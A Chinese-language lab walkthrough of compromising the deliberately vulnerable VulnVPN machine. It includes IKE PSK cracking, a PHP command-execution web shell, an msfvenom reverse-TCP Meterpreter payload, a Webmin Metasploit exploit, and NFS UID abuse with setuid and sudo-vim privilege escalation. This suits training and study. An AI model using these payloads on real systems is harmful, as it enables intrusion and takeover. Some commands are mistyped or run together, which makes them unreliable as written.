VPN漏洞測試平臺滲透學(xué)習(xí)筆記
VulnVPN是一款十分優(yōu)秀的對VPN進(jìn)行滲透測試的漏洞平臺工具。我不得不說,因?yàn)檫@款軟件,使得我們在進(jìn)行VPN的安全性測試的時(shí)候方便了很多。我這篇文章就將帶領(lǐng)大家進(jìn)行一次VPN的安全性測試,看一下如何一步步地成功的獲取一臺VPN的Root權(quán)限。
環(huán)境配置
需要首先下載VulnVPN軟件,下面是下載地址:
VulnVPN下載地址:http://www.rebootuser.com/wp-content/uploads/vulnvpn/VulnVPN.7z
VulnVPN客戶端文件:http://www.rebootuser.com/wp-content/uploads/vulnvpn/client.7z
在此之前我試過了Kali Linux的32位和64位版本來安裝,但是發(fā)現(xiàn)是行不通的(應(yīng)該是系統(tǒng)版本問題),所以這里我就選擇了使用Backtrack 5 r3 32位的版本安裝了一個(gè)虛擬機(jī)
首先,我們需要修改一下網(wǎng)絡(luò)環(huán)境,這里我們打開虛擬網(wǎng)絡(luò)編輯器,然后把NAT IP地址改成192.168.0.0,如下圖所示:
我們將使用下面這臺Backtrack 5 r3 32位(以下簡稱BT5)的虛擬機(jī)作為攻擊機(jī)
現(xiàn)在我們新建一臺虛擬機(jī)然后把BT5安裝進(jìn)去,安裝過程這里我們就略過不講,對于FreeBufer來說肯定不是一件困難的事情
要使的我們的VulnVPN能夠正常工作,首先我們需要安裝下面三個(gè)包:
1、openswan 2、xl2tpd 3、ppp
安裝命令如下:
apt-get install openswan xl2tpd ppp
安裝完成之后,這樣攻擊需要的環(huán)境我們就搭好了。這時(shí)候我們啟動(dòng)我們下載的VulnVPN,我們將完全不對其進(jìn)行任何修改,不進(jìn)行任何操作,我們就假裝這個(gè)VPN就是一個(gè)遠(yuǎn)程VPN,真的遠(yuǎn)程VPN我們怎么可能碰得到呢對吧:)
然后我們需要在BT5攻擊機(jī)上設(shè)置一個(gè)靜態(tài)IP,做法也很簡單,只需要打開/etc/network/interfaces文件,然后給eth0網(wǎng)口指定靜態(tài)的IP就可以了,內(nèi)容為下:
auto eth0 iface eth0 inet dhcp #iface eth0 inet static address 192.168.0.11 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 gateway 192.168.0.1
然后我們需要下載上面的VPN Client文件,然后解壓進(jìn)行配置,具體的方式如下:
root@bt:~/vulnvpn/client# ls ipsec.conf ipsec.secrets ppp start-vpn.shxl2tpd root@bt:~/vulnvpn/client# cp ipsec.conf/etc/ root@bt:~/vulnvpn/client# cp ipsec.secrets/etc/ root@bt:~/vulnvpn/client# cpppp/options.l2tpd.client /etc/ppp/ root@bt:~/vulnvpn/client# cpxl2tpd/xl2tpd.conf /etc/xl2tpd/
#p#
開始進(jìn)行滲透
我們使用以下命令來查看以下網(wǎng)絡(luò)的環(huán)境:
root@bt:~/vulnvpn# netdisocver -r192.168.0.0/24
對192.168.0.10主機(jī)進(jìn)行TCP端口掃描
這里我們使用神器nmap對上面發(fā)現(xiàn)的VulnVPN主機(jī)進(jìn)行端口掃描(關(guān)于nmap的具體使用方法大家可以點(diǎn)這里:http://www.freebuf.com/articles/network/32302.html):
root@bt:~/vulnvpn# nmap -A 192.168.0.10
對192.168.0.10主機(jī)進(jìn)行UDP端口掃描
root@bt:~/vulnvpn# nmap -sU 192.168.0.10
Note:以上掃描結(jié)果中的靶機(jī)中的81端口只是預(yù)留為解決緊急狀況的,并非我們的攻擊目標(biāo)和方向。
通過掃描,我們發(fā)現(xiàn)VulnVPN在500端口上運(yùn)行了isakmp服務(wù),關(guān)于這個(gè)服務(wù)的詳細(xì)信息,你可以點(diǎn)擊這里查看:http://www.networksorcery.com/enp/protocol/isakmp.html
然后我們將對這個(gè)服務(wù)進(jìn)行深入的信息收集,但是這個(gè)時(shí)候繼續(xù)使用nmap肯定是力不從心了,這里我們使用ike-scan工具進(jìn)行下一步的工作(ike-scan是一款基于命令行的工具,主要有主機(jī)發(fā)現(xiàn),指紋識別等功能,可以用來測試IPSec VPN服務(wù)器)#p#
然后我們使用該工具進(jìn)行主機(jī)掃描:
root@bt:~/vulnvpn# ike-scan -M -A-Pike-hash -d 500 192.168.0.10
下面是關(guān)于該工具的幾個(gè)參數(shù)的解釋:
-M:縮進(jìn)式輸出 -A:攻擊模式 -P<文件名>:指定寫入預(yù)共享key的文件名 -d:目標(biāo)機(jī)器的UDP端口
這里我們獲得的ike-hash文件中的預(yù)共享key可以使用psk-crack進(jìn)行破解,破解過程如下:
root@bt:~/vulnvpn# psk-crack -d/pentest/passwords/wordlists/rockyou.txt ike-hash
很快我們就得到了密碼,密碼為123456,這里我們就可以使用這個(gè)密碼連接VulnVPN了
編輯/etc/ipsec.secrets文件,然后將ENTER_PSK_HERE字段改為123456,命令如下:
root@bt:~/vulnvpn# nano /etc/ipsec.secrets
然后我們重啟一下ipsec服務(wù):
root@bt:~# /etc/init.d/ipsec restart
然后我們可以用以下命令看一下已經(jīng)啟動(dòng)的服務(wù):
root@bt:~# service –status-all
如果xl2tpd服務(wù)沒有啟動(dòng)起來,這個(gè)時(shí)候還需要啟動(dòng)一下:
root@bt:~# /etc/init.d/xl2tpd start
現(xiàn)在我們連接VulnVPN:
root@bt:~# ipsec auto –up vpn
然后我們運(yùn)行client文件中的start-vpn.sh文件,如果前面的配置沒有問題,這個(gè)時(shí)候我們應(yīng)該可以看到建立了一個(gè)ppp0的接口:
root@bt:~/vulnvpn/client# sh start-vpn.sh root@bt:~/vulnvpn/client# ifconfig
我們可以用以下命令看一下活動(dòng)主機(jī):
root@bt:~/vulnvpn# for ip in10.99.99.{1..255}; do ping -c 1 -t 1 $ip > /dev/null && echo “${ip}is up”; done
我們知道,10.99.99.2是我們的VPN IP地址,而10.99.99.1則是VPN地址。#p#
然后我們對10.99.99.1進(jìn)行端口掃描:
root@bt:~/vulnvpn# nmap -A -p1-6553510.99.99.1
我們可以看到在10.99.99.1的80端口運(yùn)行著HTTP服務(wù),我們看下是個(gè)什么東西
看起來沒什么特殊的東西,沒關(guān)系,我們接著看10000端口:
我們首先分析這個(gè)HTTP服務(wù)。我們可以從上圖看到,這就是一個(gè)Apache HTTP服務(wù)安裝之后的默認(rèn)頁面,沒什么特殊的東西。我們需要對其進(jìn)行深入的掃描分析才能得到更多的信息,這里我們使用DirBuster對其進(jìn)行進(jìn)一步的掃描:
過程不過多描述,上結(jié)果:
我們從結(jié)果可以看出來,在HTTP服務(wù)上搭了一個(gè)WordPress。好奇心驅(qū)使我們看一下這個(gè)WP頁面:
http://10.99.99.1/wordpress/
這里是一個(gè)主站的上傳頁面:
看到這里,首先反應(yīng)就是看看有沒有解析漏洞,這里我們試一下傳一個(gè)php一句話(cmd.php):
- <?php
- highlight_string(shell_exec($_REQUEST['cmd']));
- ?>
WordPress默認(rèn)的上傳路徑是/wp-content/uploads/,我們訪問看一下:
經(jīng)過查看,我們發(fā)現(xiàn)我們上傳的PHP文件的路徑是rsjp/attachments/ 文件夾下,但是文件名改成了一串隨機(jī)字符串。我們可以通過這里得到一個(gè)web shell:
得到shell就等于成功了大半,我們可以使用命令獲取一個(gè)meterpreter,當(dāng)然,首先我們需要生成一個(gè)meterpreter php shell:
msfvenom -p php/meterpreter/reverse_tcpLHOST=10.99.99.2 LPORT=4444 -f raw > meter.php
#p#
然后我們開啟一個(gè)handler進(jìn)行監(jiān)聽:
然后我們就得到了一個(gè)meterpreter會話。但是這里直接使用shell不是特別方便,我們使用python獲取一個(gè)交互的shell:
Meterpreter> shell
python -c “importpty;pty.spawn(‘/bin/bash’);”
我們查看一下passwd文件:
www-data@vulnvpn:/$ cat /etc/passwd
分析passwd文件,我們可以看到幾個(gè)有趣的用戶:
root www-data bob jane
不要忘了,我們在之前分析的時(shí)候還有一個(gè)運(yùn)行在10000端口的login頁面:https://10.99.99.1:10000/
這里我們不知道密碼是什么,不過我們可以使用上面第一個(gè)漏洞獲取到的信息來創(chuàng)建一個(gè)user列表,密碼我們用一些常見密碼,然后在這里進(jìn)行猜解,下面是一組猜解得到的結(jié)果:
User Password bob bob
Note:過多次的嘗試將會使IP被短時(shí)間列入黑名單。
然后我們在msf中搜一下,看看有沒有webmin相關(guān)的公開漏洞
我們運(yùn)氣不錯(cuò),經(jīng)過搜索,我們找到了一個(gè)公開的exp:
Metasploit:exploit/unix/webapp/webmin_show_cgi_exec
Note:找不到這個(gè)exp說明你的msf需要升級了
然后我們使用這個(gè)exp來獲取服務(wù)器的root權(quán)限:
#p#
另一種獲取root的方式
這里我們使用hydra的字典模式對SSH服務(wù)進(jìn)行暴力破解,然后跟上面一樣,假裝我們已經(jīng)獲取到了用戶名和密碼(說起來容易。。。不過要是有跟黑客叔叔p0tt1一樣的運(yùn)氣肯定是很簡單的)
從Nmap的掃描結(jié)果我們可以看到一個(gè)網(wǎng)絡(luò)文件系統(tǒng)(NFS)
我們載入一個(gè)msf中的一個(gè)NFS掃描模塊:
Metasploit: auxiliary/scanner/nfs/nfsmount
這里我們可以看到有一個(gè)路徑/home/bob是存在的
我們掛載一下看一下:
root@bt:~/vulnvpn# mount10.99.99.1:/home/bob /root/vulnvpn/bob -o nolock
然后列一下文檔:
root@bt:~/vulnvpn# ls -lah ./bob
擦擦擦!為毛所有的文件都是postgres用戶?
問題的答案是,當(dāng)NFS掛載之后,文件的所屬的權(quán)限并非通過用戶名和組傳遞的,傳遞的是UID和GID,所以到了本機(jī)之后就變成了一個(gè)本機(jī)存在的用戶名,即postgres,而這個(gè)用戶是BT5機(jī)器上的而非VulnVPN的。我們可以查看我們BT5的passwd文件我們會發(fā)現(xiàn)UID為1000的用戶恰好為postgres。而現(xiàn)在我們使用之前第一個(gè)漏洞,讀出VulnVPN的/etc/passwd文件內(nèi)容,我們可以看到VulnVPN中UID為1000的用戶為bob。
言歸正傳,我們使用BT5的root權(quán)限嘗試在NFS中寫入一個(gè)文件時(shí),我們發(fā)現(xiàn)出錯(cuò)了:
這是因?yàn)?,NFS開啟了“Root Squashing”,所以這時(shí)候我們使用root是不行的,所以這個(gè)時(shí)候我們切換到UID為1000的用戶,本機(jī)則為postgres,這樣我們再去創(chuàng)建文件就不會出現(xiàn)任何問題了
root@bt:~/vulnvpn# su postgres sh-4.1$ chmd 777
我們把/bin/bash文件復(fù)制到./bob下:
sh-4.1$ cp /bin/bash ./
因?yàn)閞oot是沒有掛載文件夾的寫入權(quán)限的,而且我們已經(jīng)有了一個(gè)從www-date返回的shell,其權(quán)限是ID為1001的名為jane的用戶。我們可以在本地新建一個(gè)相同信息的用戶:
root@bt:~/vulnvpn# useradd -u 1001 jane
現(xiàn)在我們切換到剛建的這個(gè)用戶:
root@bt:~/vulnvpn/bob# su jane sh-4.1$ whoami
用jane用戶將/bin/bash拷貝到掛載目錄,同時(shí)修改其權(quán)限為4777,這就意味著無論是誰調(diào)用這個(gè)bash都將得到j(luò)ane這個(gè)賬戶的權(quán)限
sh-4.1$ cp /bin/bash ./mybash sh-4.1$ chmod 777 mybash
先前我們暴力破解到的用戶名和密碼就起到作用了,我們使用SSH登錄:
root@bt:~/vulnvpn/bob# ssh bob@10.99.99.1
現(xiàn)在我們附加-p參數(shù)運(yùn)行我們剛剛復(fù)制過來的bash:
bob@vulnvpn:~$ ./mybash –p
從圖里我們可以看出來,現(xiàn)在我們是用jane用戶登錄的,但是UID和GID都還是bob用戶的,那么我們就可以借用這一點(diǎn)想辦法提權(quán)
為了達(dá)到目的,我這里寫了一段C(priv1.c):
void main() { /* setreuid(ruid,euid)sets the real andeffective user IDs of the current process to the values specified by the ruidand euid arguments */ setreuid(1001,-1); char *args[] = {“/bin/bash”,0}; execve(args[0],args,0); }
我們編譯這段C,然后將編譯后的文件以用戶jane身份復(fù)制到掛載到NFS中
在此之前,當(dāng)然是需要安裝gcc的,沒有的可以自己安裝一下
root@bt:~/vulnvpn#apt-get install gcc
然后我們進(jìn)行編譯:
root@bt:~/vulnvpn# gcc priv1.c -o priv1 root@bt:~/vulnvpn# chmod 777 priv1 root@bt:~/vulnvpn# cd bob root@bt:~/vulnvpn/bob# su jane sh-4.1$ cp ../priv1 ./
現(xiàn)在,我們返回SSH會話中執(zhí)行這個(gè)編譯好的文件:
mybash-4.1$ ./priv1
我們試一下運(yùn)行root權(quán)限的命令:
jane@vulnvpn:/home/bob$ sudo –l
我們發(fā)現(xiàn)用jane用戶我們可以運(yùn)行root權(quán)限的命令(比如vim)而不需要輸入密碼
如果你不清楚是不是這樣的,那我們就試一下:
jane@vulnvpn:/home/bob$ vim
運(yùn)行vim之后,我們按下”:”然后輸入”!<命令>”
我們開一個(gè)shell…
jane@vulnvpn:/home/bob$ sudo vim
得到root權(quán)限。
參考來源:resources.infosecinstitute.com